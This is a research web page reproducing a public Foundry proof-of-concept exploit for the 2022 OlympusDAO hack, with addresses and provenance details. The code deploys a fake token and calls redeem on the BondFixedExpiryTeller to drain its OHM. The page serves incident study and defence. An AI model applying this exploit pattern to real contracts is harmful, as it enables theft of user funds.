Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/OlympusDao_exp.sol

Public reproduction file for dataset entry OlympusDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/OlympusDao_exp.sol60 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$292K (30,437 OHM)
8// Attacker : 0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be
9// Attack Contract : 0xa29e4fe451ccfa5e7def35188919ad7077a4de8f
10// Vulnerable Contract : 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156
11// Attack Tx : https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156#code#F1#L137
16// @Analysis
17// Twitter PeckShield : https://twitter.com/peckshield/status/1583416829237526528
18// Article by Shashank : https://blog.solidityscan.com/olympus-dao-hack-analysis-f07d2a64f5ee
19// Article by 0xbanky : https://mirror.xyz/0xbanky.eth/c7G9ZfTB8pzQ5cCMw5UhdFehmR6l0fVqd_B-ZuXz2_o
21address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;
22address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;
24interface IBondFixedExpiryTeller {
25 function redeem(address token_, uint256 amount_) external;
28contract FakeToken {
29 function underlying() external pure returns (address) {
30 return OHM;
31 }
33 function expiry() external pure returns (uint48 _expiry) {
34 return 1;
35 }
37 function burn(address, uint256) external pure {
38 // do nothing
39 }
42contract AttackContract is Test {
43 function setUp() public {
44 vm.createSelectFork("mainnet", 15_794_363);
45 vm.label(OHM, "OHM");
46 vm.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
47 }
49 function testExploit() public {
50 console.log("---------- Start from block %s ----------", block.number);
51 emit log_named_decimal_uint("Attacker OHM balance", IERC20(OHM).balanceOf(address(this)), 9);
53 address fakeToken = address(new FakeToken());
55 uint256 ohmBalance = IERC20(OHM).balanceOf(BondFixedExpiryTeller);
56 IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, ohmBalance);
57 console.log("Redeeming...");
58 emit log_named_decimal_uint("Attacker OHM balance after hack", IERC20(OHM).balanceOf(address(this)), 9);
59 }

Analysis

Dataset entry

Public Foundry test for “OlympusDAO” (2022-10-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be

  • Attack Contract

    0xa29e4fe451ccfa5e7def35188919ad7077a4de8f

  • Vulnerable Contract

    0x007fe7c498a2cf30971ad8f2cbc36bd14ac51156

  • Attack Tx

    0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf

File record

Name
OlympusDAO
Path
src/test/2022-10/OlympusDao_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d8009036d07a642a72caa8c6fef8466db40c3aac
Language
Solidity
Size
61 lines
Date
2022-10-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/OlympusDao_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d8009036d07a642a72caa8c6fef8466db40c3aac, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.